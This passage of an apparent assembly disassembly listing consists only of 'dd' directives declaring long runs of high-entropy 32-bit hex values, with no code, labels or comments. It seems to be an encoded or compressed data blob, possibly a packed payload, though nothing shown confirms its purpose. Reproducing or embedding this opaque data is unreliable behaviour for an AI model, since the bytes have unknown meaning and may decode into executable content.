		dd 0A240F088h, 70A482FCh, 0C2F8802Bh, 5C09FA3Bh, 31886805h
		dd 0C05D7944h, 64EC21Eh, 93016CC9h, 9C0F14CFh, 5C433E1Ch
		dd 12ED99DFh, 44DC11A8h, 0E5773C27h, 6837F9h, 8A4B0D28h
		dd 1F41C50Ch, 80975D09h, 1ABCCFF0h, 19306E30h, 6510814Ah
		dd 4C41EBB9h, 0AB0114E0h, 54BEE4D3h, 10F88E12h,	0CD7A8091h
		dd 62240432h, 0E33F0750h, 80742549h, 96ACEC1Ch,	1E842840h
		dd 80D94B2Bh, 0C7DEB011h, 997D74B7h, 2AAB4000h,	0C1F0A1A3h
		dd 42972CE4h, 2BEA6038h, 4C0F8235h, 0BA84F1h, 0D41E09C8h
		dd 41240578h, 830E287Ah, 7B4C5F4h, 7920E489h, 12D7F9CDh
		dd 90E63B9Ah, 0FA179424h, 5FEEB00h, 44218482h, 0DD60303Ch
		dd 819A75C9h, 0AF18312h, 1C885090h, 0F28B8846h,	8491ED0Bh
		dd 0E4540A5Dh, 971482BCh, 731545BCh, 0FA16A4h, 4F572DBCh
		dd 7904E873h, 701C10C1h, 42CD895Eh, 28976102h, 0A10DD3E0h
		dd 0C3CBBD04h, 0B8F41C3Ch, 85C200EEh, 7DCFA2A4h, 88014D87h
		dd 0D8DE65Fh, 6C22F83Ch, 0F2783Fh, 8C6715EDh, 7FD093B3h
		dd 0C856030Ch, 940D88Ah, 9A552E82h, 5DAB4482h, 0C6C008CBh
		dd 0E632804Bh, 0A1772886h, 0E21A0484h, 0C00424h, 0E10D2A2Ch
		dd 1D8C619Bh, 6880DC94h, 5274B8D5h, 37620173h, 8766E575h
		dd 7A14D0F1h, 5891F226h, 0CC1B5E4Eh, 0F892C539h, 87A08551h
		dd 327AD44Fh, 199AF420h, 0B2ACA87Fh, 59A900A2h,	4356ED1Fh
		dd 13132E3Dh, 6CD1840Eh, 821429F1h, 4611767Ch, 98782110h
		dd 0E571123Fh, 6C83C478h, 0E97900D7h, 9FBFA274h, 50B0910Bh
		dd 8154E054h, 0E02E1C24h, 2A288542h, 68912520h,	9E3081Eh
		dd 0A296ABE2h, 0C8C0A412h, 0EC09E113h, 1263DF73h, 7D3C83A4h
		dd 0B8390924h, 8155AA6Fh, 1AA19C11h, 2F00142Dh,	4D2D5A69h
		dd 0C00010E4h, 16EBD50Bh, 13738Ah, 429385E3h, 3D38AED3h
		dd 0DBB78917h, 82F6F841h, 883C8481h, 790E0780h,	0BC03EE20h
		dd 9512F71Fh, 0A130F84Ah, 387802DAh, 3950E7B7h,	0ACBB40A0h
		dd 0A1FE4CA0h, 703DCAE6h, 13D80279h, 0AF3CD9ABh, 33FC0D8h
		dd 9EB069BDh, 0BF8280A8h, 0E5742AD6h, 4E003AECh, 0CAE92097h
		dd 1838904h, 0AEFA78BEh, 0E118B192h, 80643873h,	0D2DA0EB7h
		dd 788B00A6h, 4F0FDCB3h, 0FA00AA9Fh, 1BF074Ch, 113B6795h
		dd 90AB85h, 0DACCC94Fh,	5A8941Bh, 9178A0E9h, 4358D28Ch
		dd 95363C40h, 8BA46100h, 3BD09A13h, 6ABB01A0h, 3F5E8D84h
		dd 74CC1465h, 3C62021Fh, 0E3100B85h, 1B003851h,	0DA751253h
		dd 81B70746h, 0E0BF6141h, 0F7196647h, 0E440795Ah, 6D99FA67h
		dd 40E3E0E5h, 5F0E0814h, 0A986C13Dh, 39C0907Dh,	0FC3800F2h
		dd 0BD117117h, 90988EECh, 0D203C098h, 0F97BBCAAh, 0BCF140E5h
		dd 3C37F605h, 10A86CB0h, 31A90060h, 2BA899F0h, 0A53F93E5h
		dd 0AB91E49Eh, 0C628A4h, 0FB4389F6h, 0CB0DBFFFh, 63AD9201h
		dd 739A14ACh, 0DF544C50h, 0AFB001A2h, 59EDE338h, 0AEEC70E0h
		dd 0AAE4E216h, 4806D808h, 0EF040030h, 0B10DDE2Eh, 3D1B071Fh
		dd 993810EFh, 2E512E84h, 405300BEh, 4D1996D0h, 204EC0AAh
		dd 95430478h, 7D38973Bh, 0D4800BA5h, 8396F805h,	474CAE14h
		dd 71F507ECh, 93A049FDh, 8978D1h, 0B329EA73h, 2B26777h
		dd 0ED0010BCh, 1C8C0974h, 0AA61C07Fh, 3BB4A905h, 0E4E5D9F3h
		dd 270BE736h, 8D4AFCh, 7AE893ECh, 585A4CF9h, 0B78074C8h
		dd 47D0B5Dh, 0DDC31618h, 0BE5A072Bh, 0A64A8070h, 74B6A881h
		dd 0B9364080h, 0C1578AECh, 0D964CA8h, 3DE0824Fh, 6634B866h
		dd 0AC11F138h, 0BD418790h, 6A82C140h, 0F163E0E3h, 0F53424D9h
		dd 2CF8176Bh, 0E700560Ch, 8F2F4007h, 0DF36C5h, 418306C8h
		dd 1178F86Ch, 92CAD214h, 0C0584C8Ch, 0CD906263h, 0F6990049h
		dd 11A6773Eh, 8F4DAC4Bh, 0E97267Ch, 1B5CA92Dh, 4E84A038h
		dd 9E2800EBh, 0DCF14893h, 1800ACF0h, 1D6AAA0Eh,	5373E96Dh
		dd 0F500A0CCh, 0AAE81EFDh, 0F67A21D4h, 7267C400h, 0A3F9FC6Bh
		dd 38AB308Dh, 9B3D9561h, 9705D174h, 19EB753Bh, 330088h
		dd 28B68C6Fh, 3231F56Dh, 0F1005AE8h, 5489DE52h,	28B1092Ch
		dd 5BC8267h, 0E9747BC1h, 1464E419h, 21182600h, 2E55A8E1h
		dd 0B2B7D0Dh, 6381C501h, 0EC0030E4h, 25D19A4Fh,	289620Ah
		dd 10D41184h, 0C0585B12h, 0BE974017h, 7C842C90h, 1FE6ECC4h
		dd 0C2162EFh, 97D157C8h, 1CB1BB7Ch, 81D3F100h, 9E720BD5h
		dd 36A9D88h, 0DCA7B608h, 15241EC9h, 0A6161008h,	0E8817C4h
		dd 1D044688h, 0ADC0C270h, 8CC1F4E2h, 1666114Ch,	6288BC68h
		dd 21B32743h, 12084828h, 70E0B022h, 5E0BC6CFh, 172B78Dh
		dd 23D29744h, 323B1A30h, 0AD3960E7h, 6A0E0464h,	20A51F21h
		dd 0E7F256B0h, 2A8A3059h, 999D36E4h, 0C77BB712h, 4C192C88h
		dd 4988C40Ch, 6D85D280h, 44A695h, 0BBED1E7Bh, 0F356B950h
		dd 0D40C1502h, 797D66E0h, 77626194h, 571B3043h,	10E5FA01h
		dd 0BAB96667h, 47A2029h, 0D23BC15Bh, 0ADB8C0B1h, 0F9F0DD71h
		dd 0AC130C99h, 95694820h, 96090037h, 9A2708C6h,	810576C7h
		dd 5EFE5B4Eh, 7CD6B801h, 1431D0FCh, 7BE14031h, 58AA9458h
		dd 7019440h, 7281B920h,	2D9C22FFh, 1438A07Dh, 0A66311h
		dd 0F2D93D2Eh, 4813552Ah, 92539409h, 28286871h,	0A4DE00DFh
		dd 80EDDD0Fh, 0BC004840h, 504A5DCDh, 441C84BAh,	134E6604h
		dd 7A2A7C41h, 303C9BFAh, 2B46E483h, 0BDA984D8h,	6C20894Ah
		dd 0B8D8737h, 365FBCA6h, 90A76C80h, 0DB5CF116h,	0CC702E34h
		dd 7A1910B2h, 9A3E0084h, 68B73B1Ch, 0CA00A869h,	0C360C264h
		dd 3B59C136h, 101713C9h, 0EBE4888Ch, 3668C000h,	0EF3C1279h
		dd 16890369h, 991C5CECh, 5F32C3E0h, 5E07C8A6h, 9BB0AE12h
		dd 0C42F48B0h, 87609419h, 218EEB40h, 27A8A709h,	13B8236Ch
		dd 0A198D475h, 1D3423E4h, 1A4C58E2h, 798BE86Bh,	0D87D486Ch
		dd 2264BF1Dh, 720DFC96h, 0E0F261F1h, 0E13E7C1Ah, 22084CCh
		dd 0D7876766h, 9090BA97h, 31C07E1Ch, 0D046A6AAh, 0BF211C71h
		dd 1591403Fh, 0A85D923Eh, 3460192Ch, 66E02FC7h,	0B0F145h
		dd 8C01D9C7h, 0D8A4E37Fh, 373E7706h, 8939ADh, 511CA1C0h
		dd 0ABE349B6h, 180D096h, 0C4BADAECh, 0E8120F69h, 47821064h
		dd 0F061AF72h, 0BA41830Dh, 80E643CAh, 980E6Eh, 2357562Eh
		dd 0ABD48E31h, 0D7639A05h, 0F1C166CEh, 402A7D4Dh, 7A0D9584h
		dd 401C75FBh, 0CECF8226h, 3051AB1Eh, 90689E14h,	1A3500BDh
		dd 7D6EC9E6h, 0F200D4B9h, 92C1A10Ah, 7B51FE66h,	0C6E41BE5h
		dd 40E4C9E2h, 630201D4h, 87B60032h, 51542709h, 0BEE561h
		dd 852D640h, 0F0CA1FDFh, 58A02FD1h, 79DE6439h, 76EACF00h
		dd 773EDF5h, 46FA4B3Ch,	0D0787CB0h, 15E97D1Ch, 8C76F180h
		dd 4ADEF984h, 0EC088810h
		dd 0E10A2400h, 0FF75070h, 1ADD00E5h, 7ABF32C4h,	0FB0EABAFh
		dd 49658510h, 809C5B4Fh, 0BC5B7334h, 4E00C2A0h,	2E086362h
		dd 30DDAB6Bh, 29310465h, 7005938Fh, 9C1BD8F1h, 27005CF2h
		dd 20A0BDCAh, 0A1276D0h, 40007567h, 419071CEh, 0D1BE187Ah
		dd 26108081h, 3DA288h, 6F590C75h, 84FE132Ah, 63903995h
		dd 0CB38A310h, 88D2DA00h, 2E1DCEACh, 30F51F3Ch,	5733008Bh
		dd 14E965DFh, 43085C8Ah, 0E19827A2h, 9107AA3Dh,	0E0FDF660h
		dd 708B43D2h, 6290BE4Ch, 0A85A1F66h, 29128258h,	8F85E477h
		dd 0B0815BDAh, 0B200E51Eh, 31C0247Ch, 1BBB6BA3h, 45B7CD5h
		dd 85E7E39Fh, 211884E5h, 3CBB66E8h, 972DA0C4h, 2FC00002h
		dd 0C10FE317h, 195B72ECh, 61E47C71h, 255BC428h,	0FC7830F4h
		dd 0D81D9DEFh, 0D40B04Eh, 536E4276h, 0B8850235h, 19125517h
		dd 6F2C6072h, 0D43B1004h, 6C7866C8h, 6822E04Eh,	820016A8h
		dd 19443289h, 40E6AC83h, 784014ABh, 193287Ah, 6040444Ch
		dd 691A2B00h, 8381D2F5h, 0F1CE0084h, 0CD112E2Ah, 0A200A128h
		dd 0E96C6239h, 80F76F94h, 0A4B33CD2h, 9A1B2580h, 6247E31Dh
		dd 66D0C975h, 509304F0h, 36CB0C00h, 0E46206E4h,	7C260021h
		dd 0A25E7803h, 962CBF45h, 0EF008073h, 613BBA65h, 540795E3h
		dd 45BF707Ch, 23132B63h, 0AC00D410h, 94089383h,	1CA84CFFh
		dd 2B7DE480h, 0FE009218h, 0A9A0FABAh, 0F8D1D4B2h, 0B4B8077Eh
		dd 7C738CEDh, 77003AC9h, 0DA7F456h, 0BDC75Ch, 930F1721h
		dd 893E53E6h, 181088BEh, 909DB51Bh, 0D8F1E82Ah,	5F761F40h
		dd 72F0483Fh, 0F0524A44h, 0F9019CDAh, 0AFBFC337h, 286C890Dh
		dd 0DC63AD80h, 5A006756h, 0F2CAE853h, 13A8090Ch, 30EFCE13h
		dd 0AA59D78Ch, 0C6F74100h, 3831D88Bh, 0E2FE029Ah, 33EE9B56h
		dd 0A4C0C9C2h, 64488C02h, 0FF505088h, 30A4A9C5h, 1EAC4E4h
		dd 777EA226h, 0EF1FBA74h, 205111EAh, 88936111h,	7A4DA094h
		dd 0F9CBC004h, 14B6EA5h, 83EF49FDh, 0E8B38A92h,	784ADFF1h
		dd 685C2097h, 166511EDh, 0B02A2821h, 0A870A26Fh, 95AC0939h
		dd 6F6214A0h, 1A4CB754h, 83AB0287h, 0F9EEDD6Bh,	58BD14FCh
		dd 8894E725h, 2AD59500h, 0C98DDBBCh, 2AFE4877h,	30643838h
		dd 2E9B2271h, 4CBCAE20h, 1095518Dh, 8004C110h, 0EB049775h
		dd 1113270Ch, 0E0240082h, 4150F9D4h, 10D84022h,	964C9774h
		dd 467A8B50h, 402B4C20h, 149B74C9h, 5847DBB8h, 82121400h
		dd 5D23C9C0h, 9BB5A2Eh,	0D4844E18h, 883F30B9h, 0E1453EBDh
		dd 0C1811737h, 74738A79h, 0DF328DDCh, 213880F8h, 7C8766EAh
		dd 708516ECh, 6BA174C0h, 0A8842C6Ch, 40DF4EF0h,	503B78FAh
		dd 0EC005B3Dh, 46B8C18Bh, 6AF96BDh, 4B8272CEh, 930A40CDh
		dd 0C812A16Fh, 52DE511h, 0FF3C1C82h, 14103059h,	6141FCC8h
		dd 76EE03BAh, 0D5A94004h, 23092EEEh, 0A27C8A80h, 867A930Ch
		dd 5839C9C8h, 0FA10147Dh, 21BA844Dh, 0F2B01645h, 86251690h
		dd 38999A01h, 90EF1492h, 4CE5D02h, 0DBE2EA6Eh, 8814F087h
		dd 0FB8AFF02h, 0E0293DA1h, 0A4E672F0h, 849880A0h, 0A197174Fh
		dd 9C80887Eh, 0AA2569DFh, 0C43C9020h, 0A9BD00FFh, 1981AEA5h
		dd 0F4027B71h, 50D9B326h, 2F345404h, 0DBF95093h, 2494DC91h
		dd 0A41B5904h, 94F32F93h, 1DA14200h, 0B87406ECh, 5872AE00h
		dd 0E5F9E982h, 66640904h, 402088B9h, 0ACBEFE2Ah, 47763B02h
		dd 8349BC97h, 0A40BFA5Ch, 18018E9h, 0FC6092D5h,	410F901h
		dd 550B1AC4h, 0D74490DBh, 2069250Dh, 4B00C8C4h,	34EA7912h
		dd 50B396FEh, 9566A4ADh, 397D1403h, 783D2958h, 772D5800h
		dd 7A336C8Eh, 209D4B94h, 0E4A2F634h, 937D7009h,	6D682095h
		dd 1E9BAF97h, 4CE34031h, 1A51491Dh, 7004A09Fh, 906854A6h
		dd 45F498h, 0FAD9C52Eh,	13D6217Eh, 61581406h, 4240B58Ch
		dd 37F223Bh, 0CDFFB004h, 75D098EAh, 78D54908h, 31FC9DD4h
		dd 0DBB33167h, 9E124F3h, 0ADE609E2h, 0A0976C21h, 0B4702A75h
		dd 83769Dh, 25325AA3h, 3551F2C2h, 137CF902h, 9E18EEAh
		dd 5029D484h, 0F47F2CD4h, 1D36750h, 36E57E3Eh, 28C1E4B0h
		dd 66480F7Ch, 81E8788Ch, 9A3D04FCh, 0C0FB0AA8h,	1D743FBCh
		dd 0FC756338h, 0EA407494h, 0AE70F6h, 6931FAF9h,	837971A8h
		dd 8439E475h, 0EA730245h, 0E617603Bh, 80A08594h, 17E978CCh
		dd 352C2DC8h, 121206DEh, 177EACA2h, 0C85906F1h,	0C2019064h
		dd 66D68047h, 0B370A71Bh, 4B8D7D5Dh, 189C8A12h,	48C0A547h
		dd 0FA2F073Bh, 0F067B091h, 6436C033h, 1CA14B00h, 4A757D8Bh
		dd 558301E6h, 0AB849FF1h, 9778647Ch, 0D84CBF24h, 7C890E64h
		dd 24BF6800h, 0E3B60EE4h, 0F2408786h, 0B18B0423h, 0DE4AB778h
		dd 430B88Dh, 743B07D3h,	4333A19Ah, 83DCF435h, 51095306h
		dd 0C54DE43Ch, 0A20502B0h, 8856208h, 318C3089h,	0B00A40Ch
		dd 0ABA66830h, 9022FB72h, 389F4594h, 0D5A78AFCh, 8E6BE002h
		dd 98244C73h, 38125414h, 0B8F90184h, 9C1B6167h,	0BB20884Ch
		dd 20019332h, 0C99E4A3Ch, 93192E0Eh, 32B2A322h,	708E8816h
		dd 0F48B4CCCh, 529A6C00h, 623BE574h, 1D381095h,	0CBEC0053h
		dd 7385395Bh, 664C14BBh, 69563044h, 9993A216h, 0E7381210h
		dd 0DF0B00F8h, 2EE5ED5h, 697032Fh, 4C7CB232h, 211A2125h
		dd 9448E424h, 8FC670h, 75E77AA5h, 0DB04E0EAh, 2AD14205h
		dd 9C1E62FAh, 23F2F88h,	7869BF09h, 11936CE9h, 4040B866h
		dd 5AF0E589h, 9AC98DDh,	0A38D3F0h, 90DC9405h, 50B9111Ch
		dd 70A5160Ah, 113DBA64h, 14602280h, 0D5712D0Ch,	0BF9A3400h
		dd 19094712h, 0A04F8B58h, 5C5DC0C8h, 0F18B18EAh, 0A8088059h
		dd 28F0A464h, 802C9100h, 0B44FBC3Dh, 2F3B9621h,	825782B5h
		dd 82F7AC34h, 277CBD20h, 7C856B85h, 0EB7041E6h,	944EFC3Bh
		dd 9FCCAC11h, 8912560Ah, 91CF9709h, 402BAB84h, 0EB998EC8h
		dd 0B090BF0Dh, 0AC8A0600h, 0E01E0BCCh, 1F200111h, 969E197h
		dd 18206E67h, 5CB42343h, 70015CA9h, 34D0C861h, 1D91ACDCh
		dd 0ACADB90Ah, 96E67A41h, 0E0A16441h, 0DFFF9048h, 0E33B0351h
		dd 26D0F9EDh, 0C4B1A885h, 40EA3600h, 0C46366h, 8E6DF850h
		dd 0BF3B7784h, 0ED0B4C99h, 1B50190Ch, 9E6CFCh, 0B7B9B164h
		dd 920DFCE7h, 80E8194Ch, 30A5ADDh, 6626016Eh, 0DB86D74Bh
		dd 9D43989h, 82960DFDh,	52389ED8h, 0C8B94B18h, 0F88B7FBCh
		dd 68DE14h, 8BB7A8B0h, 37D3DBB9h, 29E55F04h, 4AC5C12h
		dd 0D2147E80h, 1802CDAAh, 728937ABh, 1E48EC93h,	3CA2B885h
		dd 1F809A6h, 37E57317h,	0B871A3h, 0A6E48924h, 0D84B4701h
		dd 0D13E562h, 0B7A4202Fh, 0F65C8AF0h, 503E00C4h, 0D0E8548Eh
		dd 5FAD1DD2h, 0E6EB4FE0h, 0FA3C3982h, 759F90D4h, 21A809C1h
		dd 186188E7h, 27E9B018h, 48919A0Ch, 722370B7h, 6B67F302h
		dd 7C2AAC5Eh, 51C2494h,	88AB8521h, 0B8008A80h, 270E354Fh
		dd 732E91Eh, 0EABEED95h, 0F78C2010h, 692C17A8h,	0BC2078CDh
		dd 1BFF3B1Ah, 547999h, 71C2EB19h, 1F0030DFh, 0D8F30394h
		dd 2634931h, 3D66E8F4h,	87126BEh, 7A12FC03h, 0FB5EA077h
		dd 61080096h, 0F5CDD95Dh, 191360D7h, 0A4A713AAh, 0F05C7E00h
		dd 28DAD4A1h, 0BD07C57Dh, 2A7A69A7h, 44A5CB24h,	0F280A07Ch
		dd 4A99EBC3h, 0CE4F3300h, 5CCB7B80h, 162CA822h,	25B80355h
		dd 0FA4C6F78h, 430E3D98h, 0CCBAED2Ch, 78D63Fh, 0D7BB505Dh
		dd 0BAD605h, 5136F099h
		dd 59B5AF25h, 0A19F4E01h, 0E307E1E5h, 0CE073C63h, 60168A8Eh
		dd 81F0394Bh, 0F828BD28h, 4820385Ah, 0D68BD5h, 34962045h
		dd 36D3B6DEh, 0A56FFD04h, 54222A2h, 60E0427Eh, 898210A7h
		dd 0E01C10CCh, 0FCBE00F3h, 4B98D40Bh, 6300B122h, 84D403Ah
		dd 97DD5Ah, 0EAFC7627h,	96E515CFh, 83266BE8h, 74204034h
		dd 0DAB5060Eh, 523500FCh, 380382h, 46EB9A94h, 1C27FD0Ch
		dd 661F8600h, 6D131EACh, 7526273Fh, 0E1548090h,	0C8C72200h
		dd 0AB38C69Dh, 0FDEE0010h, 3E0B7A73h, 57136F17h, 44B82BCh
		dd 81702E15h, 0D87D7CE9h, 1624F428h, 41A02ED8h,	0D96B2C17h
		dd 0DBDAC037h, 53E087E1h, 0CE51695Eh, 0C6FE0525h, 0C491B73Ch
		dd 0CE0AC43Eh, 0D8A0C10Bh, 0F2086E2Bh, 606E01BCh, 25D2995Ah
		dd 0DC3BD109h, 330B0362h, 19937AE3h, 20D2B91Ch,	8C427DECh
		dd 0F0001D42h, 0C054348Eh, 0AC01F66Ah, 0F18CBD35h, 202AC37Bh
		dd 65CD8098h, 0E051B100h, 7D38BC0Fh, 559B004Ah,	901A5363h
		dd 814CC652h, 0AFA2C06Ch, 0DD09C0h, 0FBF00E82h,	84EF8E1Eh
		dd 67EC8717h, 15FD088h,	0D309DA3Fh, 70717C69h, 61627DF0h
		dd 61757908h, 18503A64h, 1B39CBFh, 8901CD82h, 7610E4BAh
		dd 0B9FD408Ch, 6F3A8E01h, 47E5B883h, 0A0304831h, 2A85887Dh
		dd 683EA001h, 3C81E570h, 0FBCC7BF5h, 9108B918h,	78884B32h
		dd 5E8E00C0h, 4B7421E0h, 990517EBh, 0D8340C83h,	0D98070A8h
		dd 9D72E4E3h, 16966100h, 20406E8Ah, 741925A8h, 0D84B80E1h
		dd 5412FE81h, 108C3B66h, 0F49686B9h, 3C172311h,	0EDB43560h
		dd 0D0D5C514h, 0F4C2A8C4h, 803C7376h, 7C4275A8h, 0F200E9CEh
		dd 2B080B6Ah, 489DC188h, 2922CC52h, 0F7261000h,	58D269B0h
		dd 660C0050h, 0BA33E587h, 999F86C6h, 666F8A5Ch,	0A700B04Ch
		dd 62F183E4h, 128C2E81h, 0C12BBF08h, 67A0D64h, 22BA4F28h
		dd 9410FE00h, 49680169h, 0F6823BD7h, 0E26C604Dh, 0F896F726h
		dd 0F898C02Dh, 6C618A48h, 0B840822h, 70A39720h,	51B050CEh
		dd 17005EE6h, 79AE524Eh, 0E9288Ch, 972E8083h, 7DF67204h
		dd 30FA91CAh, 71851191h, 1CC40B7Ah, 0A54EA8F1h,	0D88C4DFEh
		dd 0FDE10087h, 0EE5FFC52h, 596B1996h, 0DB540299h, 1E8594Ch
		dd 0E9E33C03h, 861AFC69h, 2B671512h, 9A0170B2h,	0E51019DFh
		dd 201270E2h, 483D227Dh, 0BA510201h, 78A8B3C5h,	94155120h
		dd 91E58430h, 95678418h, 326C857Dh, 6718FC28h, 0ACED0C53h
		dd 6D2020EAh, 66251709h, 1194911Eh, 786C6061h, 12141982h
		dd 0AF6053h, 696261F4h,	337098E2h, 0EA41670Eh, 0FE3BA012h
		dd 70C2B4A3h, 0F6C0EB97h, 0F9F0FC13h, 283CE331h, 0C822611Eh
		dd 3E4FCB80h, 200A0F4h,	5BFC475Fh, 0C8B3B7F1h, 45911438h
		dd 0E4FF3C12h, 9244AC40h, 667D2Fh, 3995A6CBh, 0F96414EEh
		dd 28C5AB16h, 33E38F6h,	0E73CB585h, 0EAD045ADh,	8B248C74h
		dd 43762E00h, 32F31C7Bh, 0A92B00A7h, 3F4518CCh,	4707B0CEh
		dd 0AC8246A6h, 56F81A59h, 0DE2F78D4h, 0E8CA90B6h, 0BBC27937h
		dd 72892217h, 0A0208451h, 0BB743302h, 404875ABh, 811089BCh
		dd 0C0691Ch, 0B11EF314h, 0E0D995Ch, 38E3FA3Fh, 9C380853h
		dd 180BFC45h, 8DC848ACh, 8704078Bh, 0D51E9B48h,	0FA604812h
		dd 0F1ED61C0h, 883D4B5Bh, 7000BD14h, 9E949A25h,	2475FE79h
		dd 60841596h, 0DEFF97AEh, 19F74F09h, 10502698h,	9EC7449h
		dd 0FF7A14C3h, 979AF048h, 8F22416h, 5D44005h, 8400FCB6h
		dd 10F91F9Dh, 0DD1DD16Eh, 0BB5E1CDEh, 14BA9785h, 1B938A0h
		dd 6003A1F4h, 9F98222Fh, 4C5397C0h, 320F00B6h, 0B8523EA4h
		dd 693900FDh, 6011853h,	4A87FCCh, 2681CD6Ch, 6054C176h
		dd 441C08FAh, 0B7040521h, 0E0731378h, 5900A4B2h, 5D66EAD3h
		dd 8600727Dh, 0C1C7E244h, 0F61BDF8Ah, 0B0480707h, 453F6260h
		dd 9534CC64h, 9AE0B200h, 27ACAF9h, 0E9C90020h, 50E71C1Fh
		dd 51284BB4h, 85009CF2h, 0FE397D90h, 0E37E55Bh,	789A7C0Fh
		dd 8A238BC2h, 257FB840h, 41E41AB5h, 202E8FB1h, 0A3F8A278h
		dd 1985B609h, 4CD0FA90h, 0ACD10C94h, 0E284214Bh, 0FAC4C09Fh
		dd 0D690C1Ch, 131A2AC2h, 51F0C28Bh, 0A3000BCh, 468E277Ch
		dd 0F5415600h, 3CC71184h, 33CE4B7Ah, 0A949EC74h, 0FF3FC23Ch
		dd 3C88DC8Bh, 343C1792h, 806CB2FCh, 91DE01B0h, 0F68C0B7Dh
		dd 0C0C87CB1h, 4438AF3Fh, 6A6B8070h, 6979D40h, 85B226CDh
		dd 66380E2Ch, 4F8CB236h, 0C715880h, 1B7C92D1h, 584D1110h
		dd 1BC887B4h, 0E1BB4081h, 0CC781014h, 0CB840A8Bh, 0BE721C6h
		dd 38F02CA2h, 45901097h, 1B3B01D8h, 57D59692h, 16D2E8F7h
		dd 0EC1F431Eh, 0AD461802h, 40B85526h, 0B009BFFh, 610358B7h
		dd 26A997DEh, 409C19B2h, 0E677B589h, 84AE0507h,	94A02A4Ah
		dd 7BAB6979h, 1788D243h, 731C201Ch, 1C22729Ah, 0E93F004Ch
		dd 5B25D021h, 4F2E5E77h, 102FA4C3h, 2FFA2A0h, 8EE04BCAh
		dd 0B864C872h, 9897977Dh, 9B39788Ch, 9B2D03C8h,	71A93B02h
		dd 0B6AEF84Ch, 2CD7B324h, 0E225A02Ch, 0EB24F890h, 43C0FCE2h
		dd 57889B68h, 59007E73h, 2964D286h, 0B8ACECE2h,	876704F4h
		dd 0BC04DEF9h, 0C9C281ACh, 0C7F8BCA9h, 43B700CDh, 0FCA705F2h
		dd 855F89A6h, 20A38420h, 528E07B4h, 307C60E2h, 817822F4h
		dd 92D7C100h, 0C5B0208Fh, 79120084h, 828BFDDCh,	812541F1h
		dd 0DB7CC81Dh, 0C71A0385h, 7A230CAFh, 0A0ECE8ACh, 3C1B62Ch
		dd 0CD2F9067h, 0A4F01A6Ah, 922EBD5Ah, 18C9B87Bh, 770A69Ch
		dd 1AB23822h, 9013708Ch, 7C01E3CAh, 613C6FE5h, 88646BBBh
		dd 14E1207Fh, 7513E722h, 0C8234A61h, 5F00F654h,	2AD8ABDh
		dd 91D1FEAh, 4C902C39h,	0AB0090C4h, 8DF7246Eh, 1DDD6876h
		dd 54F436h, 9EE31E77h, 40B0902Bh, 2931BE61h, 842124E9h
		dd 0F97A22FEh, 42FE046h, 0CC68C970h, 0C24418ACh, 3C226AB9h
		dd 855C98FBh, 8AEA0070h, 0C27A9383h, 725B73CBh,	0B23DE840h
		dd 4AE219Dh, 0C4D4F274h, 8024FCCAh, 183BA1FCh, 8778092Dh
		dd 5411CBABh, 0D6B86894h, 9C71D848h, 31844010h,	0C8BE1941h
		dd 0E45D6113h, 30B25413h, 0C8810180h, 11127730h, 0F45321ABh
		dd 0A9888Ch, 11E2A26Ah,	0FE4091B1h, 6D4B9302h, 54CB3538h
		dd 2890083Ch, 938A7181h, 188B177Fh, 0FCBB820Ch,	40FC1CA3h
		dd 3C142EF6h, 519D0069h, 0CAEFE9F9h, 8942C88h, 2B627C00h
		dd 0B8EA7552h, 0E508F524h, 0C8A4B8E0h, 1E849342h, 8E25659h
		dd 2DC5B861h, 19DBC8EAh, 0CC7A7B27h, 385400D4h,	736DE38Ah
		dd 2F005A1Eh, 0A1D4CA9Fh, 72BB6C1Dh, 0FFC33084h, 4E2C29D0h
		dd 1C2D2090h, 319C3112h, 5E7BE0h, 9C1EE3ADh, 193863ECh
		dd 0B967713Fh, 0E5B825E9h, 3C700E4h, 66D4F0Fh, 0EE008FE6h
		dd 8507F0ABh, 23459BBh,	81666810h, 78E295FEh, 41325084h
		dd 4C6BBF09h, 0C85E1C78h, 0D0BB85F0h, 0CC84E17h, 4554B6A5h
		dd 0CDD0D995h, 15F83373h, 1CE53Bh, 0F5E4594Ah, 7E7298DAh
		dd 24E95148h, 70E1404Ch, 0AEEE1Ah, 0D0A232F6h, 91EE807Ch
		dd 523C68B9h, 0CA40380h, 0D00ED272h, 905A2A5Eh,	0DAAE0152h
		dd 0F449DD93h, 2BFC3084h, 0E8886681h, 94193960h, 28287C71h
		dd 0A3D84731h, 52850015h, 0BAB30070h, 0A9EBFC95h, 614FE4B8h
		dd 1A194067h, 0B1E4CAA4h, 0B4746628h, 0D039E19Ah, 1CE1017Eh
		dd 0C6FA8F72h, 4C338Dh,	0C32F2B26h, 0B36C44h, 8AC9A538h
		dd 0C6A85DE4h, 0E5663504h
		dd 10D5B119h, 0DD0024A3h, 76A5D7C8h, 58007A4Bh,	9853248Dh
		dd 5C9D0E99h, 0A5C0008Ch, 8EBC3FB0h, 0BD4BA900h, 7AFD99EFh
		dd 6084507Eh, 0A6C891FAh, 0FB8D0048h, 0A6CA25A1h, 2A858202h
		dd 5E7CDBA3h, 0B0EF4760h, 5711A1E3h, 0C492FA30h, 0AA999D25h
		dd 1CE08380h, 75E904CFh, 0F8B21113h, 98AD80C8h,	1EE4ED69h
		dd 9DF9B643h, 8EEB00D5h, 0E5DB8920h, 0E4406894h, 2EE3B256h
		dd 4578CB7Ah, 12A4F8ACh, 0C83014C3h, 3FA4EF3Dh,	0A2005E73h
		dd 0E0B08BD8h, 781F8189h, 80BEE499h, 4FB885DEh,	58065BF0h
		dd 20800072h, 0B79D084h, 644DE800h, 0D540BDE1h,	0BEC33D21h
		dd 98519500h, 2AA835E7h, 94038A78h, 32173D2Bh, 9B08001Dh
		dd 0CD8C982Eh, 0BD7EE34Ah, 399D1E05h, 688314C8h, 0D630009Bh
		dd 0A7EA6B52h, 0AF002E24h, 2DAB1C80h, 609E983Eh, 9D2B4851h
		dd 7E7C1BD1h, 0E70011D3h, 21E8A5EFh, 645F00C0h,	3F4F883Ah
		dd 3090F54h, 7716C9A6h,	61BA6081h, 0BB398001h, 3222BD13h
		dd 73FF0080h, 0C9097875h, 0F803DDFCh, 0BAB15B84h, 539C1ACh
		dd 8A0B6440h, 0A2A01E9h, 0B0980836h, 0F851B22Bh, 1004119Fh
		dd 0C82E81h, 46AE6842h,	20079212h, 63889838h, 0A43A7039h
		dd 8D139400h, 7D00510Eh, 851F5D83h, 0E1D72A1h, 0D27F7608h
		dd 291A2C80h, 5A48E0BBh, 407E2881h, 2400A075h, 63A7E3EDh
		dd 98F411h, 74AB9514h, 56064296h, 0D0154CA9h, 19014937h
		dd 9A207DEh, 899F24A0h,	2960BD77h, 27C41CCFh, 11F91B00h
